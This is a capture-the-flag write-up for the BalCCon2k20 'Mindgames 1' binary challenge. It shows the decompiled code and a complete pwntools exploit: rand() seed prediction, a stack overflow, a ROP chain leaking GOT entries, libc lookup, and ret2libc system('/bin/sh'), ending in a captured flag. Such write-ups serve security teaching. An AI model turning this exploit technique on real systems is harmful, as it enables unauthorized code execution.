Tags: got pwnscripts rop 

Rating: 5.0

Mindgames 1

Do you want to play a game of the minds? I am sure you can never win this game! MUAHAHAHA....

nc pwn.institute 41336

Note: Mindgames 1336, Mindgames 1337 and Mindgames 1338 are created from the same source. Only the protections are different. So you might want to start with this one for an easier challenge.

This challenge was done with pwnscripts. Try it!

Binary Analysis

We start off from the usual:

$ checksec mindgames_1336
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Well, that's great! All we gotta do now is to decompile the binary.

mindgames_1336: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), for GNU/Linux 3.2.0, dynamically linked, interpreter \004, stripped

...which is perhaps a little bit tedious.

Each of the mindgames involves relatively simple exploits; the trick is in figuring out precisely where the exploit is. Here's a quick rundown of what exactly the binary does:

void main() {
  signal(14, handler);
  alarm(14); // Timeout creation
  setvbuf(...); // I/O debuffering
  main_last();
}

We start at main(), where some of the usual stuff happens. Every function from here-on-out (e.g. main_last()) will be self-assigned names.

void main_last() {
  int v = 0; // [rsp+4h] [rbp-Ch]
  srand_init();
  printf("\nWe should play a game of the mind!\n> ");
  while (1) {
    printf("What do you want to do?\n 1) Show Highscore\n 2) Play the game\n 3) Exit\n> ");
    scanf("%d", &v);
    if (v == 1)
      show_highscore();
    else if (v == 2)
      play();
    else
      exit(0);
  }
}

In this function, we first get an init() function before we move on to the menu loop that you can see when you run the binary.

srand_init() does a few important things:

char overflow[0x20];
int highscore;
// 4 bytes padding here
char *selected_name;
char *NAMEARRAY[5] = {...}; // constants omitted for brevity

srand_init() {
  time_t timer; // [rsp+0h] [rbp-40h]
  struct tm *tp; // [rsp+8h] [rbp-38h]
  char s[0x28]; // [rsp+10h] [rbp-30h]

  time(&timer);
  tp = localtime(&timer);
  strftime(s, 0x1A, "%Y-%m-%d %H:%M:%S", tp);
  printf("Hello there! It's %s and the weather looks pretty nice!\n\n", s);
  srand(timer);
  long long eax = rand();
  selected_name = NAMEARRAY[eax%6];
  highscore = rand() % 32 + 1;
}

There's a lot of dumb code in there to read, so we can sum it up:

  1. srand() seed is leaked as a printed date. Grab it using pwntools and datetime.
  2. rand() is called twice. If you didn't know, the values from C's rand(), given the srand() seed, can be easily predicted in python via the ctypes library:
    from ctypes import CDLL
    C = CDLL('libc.so.6')
    C.srand(...)
    print("The first random value is: %d" % C.rand())
    highscore = C.rand()
    
    The second value of rand (highscore) is something you will need for later. With that out of the way, we can focus on the main loop. There are two functions: show_highscore() and play(). The former is very simple:
int show_highscore() {
  return printf("Current highscore:\n%d\t by \t %s\n", highscore, selected_name);
}

This function is important as a leaking mechanism in later challenges, but for now it can be ignored.

play() is a little more complex:

unsigned long long play() {
  int inputv = 0, randv = 0;
  unsigned int wins = 0;
  printf("Can you guess my numbers?\n> ");
  while (1) {
    randv = rand();
    scanf("%d", &inputv);
    if (randv != inputv)
      break;
    printf("You were lucky this time!\n>");
    ++wins;
  }
  puts("Game over!");
  if (wins >= highscore) {
    puts("New Highscore! Amazing!");
    highscore = wins;
    set_new_highscore();
  }
}

If you remember the small code block about rand() in python from earlier, in play(), we need to abuse C.rand() highscore times if we want to trigger the set_new_highscore() function. Considering that there is no other function we have not looked at yet, at this point, it's somewhat obvious that we should set-up a way to enter set_new_highscore().

Exploit begins

from re import findall
from datetime import datetime
from ctypes import CDLL
from pwnscripts import *

p = remote('pwn.institute', 41336)
strdate = findall(b"[0-9]{4}-[0-9]{2}-[0-9]{2} [0-9]{2}:[0-9]{2}:[0-9]{2}", p.recvline())[0].decode()
epoch = datetime.strptime(strdate+'-+0000',"%Y-%m-%d %H:%M:%S-%z").timestamp()
C = CDLL('libc.so.6')
C.srand(int(epoch))
randv = C.rand()
highscore = C.rand()%32 + 1

p.sendlineafter('> ', str(2))
for i in range(highscore):
    p.sendlineafter('>' if i else '> ', str(C.rand()))
p.sendlineafter('>', '0')
p.recvuntil('Amazing!\n')

At the last line of this code, we know that "New highscore! Amazing!" has been printed. We're inside set_new_highscore():

set_new_highscore() {
  ssize_t n; // ST08_8
  char buf[0x110]; // [rsp+10h] [rbp-110h]

  printf("Give me your name: ");
  selected_name = &overflow;
  n = read(0, buf, 0x400);
  memcpy(&overflow, buf, n);
}

There is an incredibly obvious buffer overflow here: read(0x400) clearly exceeds the limit (of 0x110) for buf[].

The exploitation of this is rather simple:

  1. Leak two GOT funcs by ROP'ing to puts(). This is only possible for mindgame_1336, where PIE is disabled.
  2. Resolve the remote libc id, and calculate import addresses (system, "/bin/sh")
  3. Call set_new_highscore() again, and ret2libc system("/bin/sh")

The implementation of this is rather simple with pwnscripts:

context.binary = 'mindgames_1336'
# Need to label the addresses here, because the binary is stripped
context.binary.symbols = {'set_new_highscore': 0x401336, 'puts': 0x401040}
context.binary.got = {'printf':0x404028, 'alarm':0x404030}
GOT_funcs = ['printf', 'alarm']
context.libc_database = 'libc-database'

def rop(b):
    r = ROP(b)
    r.raw(0x118*'a')
    return r
r = rop(context.binary)
for f in GOT_funcs:
    r.puts(context.binary.got[f])
r.set_new_highscore()
p.sendlineafter('name: ', r.chain())
libc_leaks = dict((f,extract_first_bytes(p.recvline(),6)) for f in GOT_funcs)
context.libc = context.libc_database.libc_find(libc_leaks)

r = rop(context.libc)
r.system(context.libc.symbols['str_bin_sh'])
p.sendlineafter('name: ', r.chain())
p.interactive()

That's it.

[*] Loaded 14 cached gadgets for 'mindgames_1336'
[*] found libc! id: libc6_2.28-10_amd64
[*] Switching to interactive mode
$ ls
flag
mindgames
$ cat flag
BCTF{I_guess_time_was_0n_y0ur_side_this_time}
Original writeup (https://github.com/IRS-Cybersec/ctfdump/blob/master/BalCCon2k20/mind.md).